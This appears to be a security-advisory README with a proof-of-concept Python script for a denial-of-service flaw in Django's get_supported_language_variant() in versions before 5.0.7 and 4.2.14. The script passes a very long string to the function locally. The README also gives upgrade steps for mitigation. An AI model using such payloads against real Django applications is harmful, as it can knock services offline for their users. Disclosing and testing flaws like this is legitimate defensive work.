## https://sploitus.com/exploit?id=4B35D09D-6E11-517F-932D-9AE20BF749FE
# Proof of Concept (PoC) for Denial-of-Service Vulnerability in Django
This repository contains a Proof of Concept (PoC) script demonstrating a denial-of-service (DoS) vulnerability in Django versions 5.0 before 5.0.7 and 4.2 before 4.2.14. The vulnerability lies in the `get_supported_language_variant()` function, which is susceptible to a potential DoS attack when handling very long strings containing specific characters.
## Table of Contents
- [Vulnerability Description](#vulnerability-description)
- [Setup and Usage](#setup-and-usage)
- [PoC Script](#poc-script)
- [Important Considerations](#important-considerations)
- [Mitigation](#mitigation)
## Vulnerability Description
**CVE-ID**: (Pending)
**Overview**:
The `get_supported_language_variant()` function in Django versions 5.0 before 5.0.7 and 4.2 before 4.2.14 is vulnerable to a denial-of-service attack. This function can be exploited by sending very long strings containing specific characters, which could lead to a resource exhaustion and consequently, a denial-of-service condition.
**Affected Versions**:
- Django 5.0 before 5.0.7
- Django 4.2 before 4.2.14
**Fixed Versions**:
- Django 5.0.7
- Django 4.2.14
## Setup and Usage
### Prerequisites
- Python 3.x
- Django installed (`pip install django`)
### PoC Script
This script demonstrates how an attacker can exploit the vulnerability by sending a very long string to the `get_supported_language_variant()` function.
Save the following script as `dos_poc.py` and run it.
```python
import django
from django.utils.translation import get_supported_language_variant
# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
print("[-] This Django version is vulnerable to the DoS attack.")
else:
print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")
# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!' # Adjust the length and content as necessary
def test_dos_vulnerability():
try:
# Trigger the vulnerability
get_supported_language_variant(very_long_string)
print("[+] Successfully called get_supported_language_variant with a very long string.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
test_dos_vulnerability()
```
### Explanation
1. **Check Django Version**: The script first checks if the installed Django version is vulnerable to the DoS attack.
2. **Generate a Very Long String**: A very long string containing specific characters is generated. Adjust the length and content as necessary to trigger the vulnerability.
3. **Test Function**: The `test_dos_vulnerability()` function calls `get_supported_language_variant()` with the very long string to test for the vulnerability.
4. **Run the Script**: When executed, the script will attempt to exploit the vulnerability and print the results.
## Important Considerations
- **Permissions**: Ensure you have explicit permission to test this vulnerability on the target system. Unauthorized testing is illegal and unethical.
- **Testing Environment**: Perform this test in a controlled environment to avoid impacting production systems.
- **Resource Consumption**: This PoC can consume significant system resources. Monitor your system and be prepared to stop the script if necessary.
## Mitigation
To mitigate this vulnerability, upgrade to the fixed versions of Django:
- **Django 5.0.7**
- **Django 4.2.14**
Follow the official [Django upgrade instructions](https://docs.djangoproject.com/en/stable/howto/upgrade-version/) to update your Django installation to the latest secure version.
By keeping your software up-to-date and following security best practices, you can prevent vulnerabilities such as this DoS issue in Django.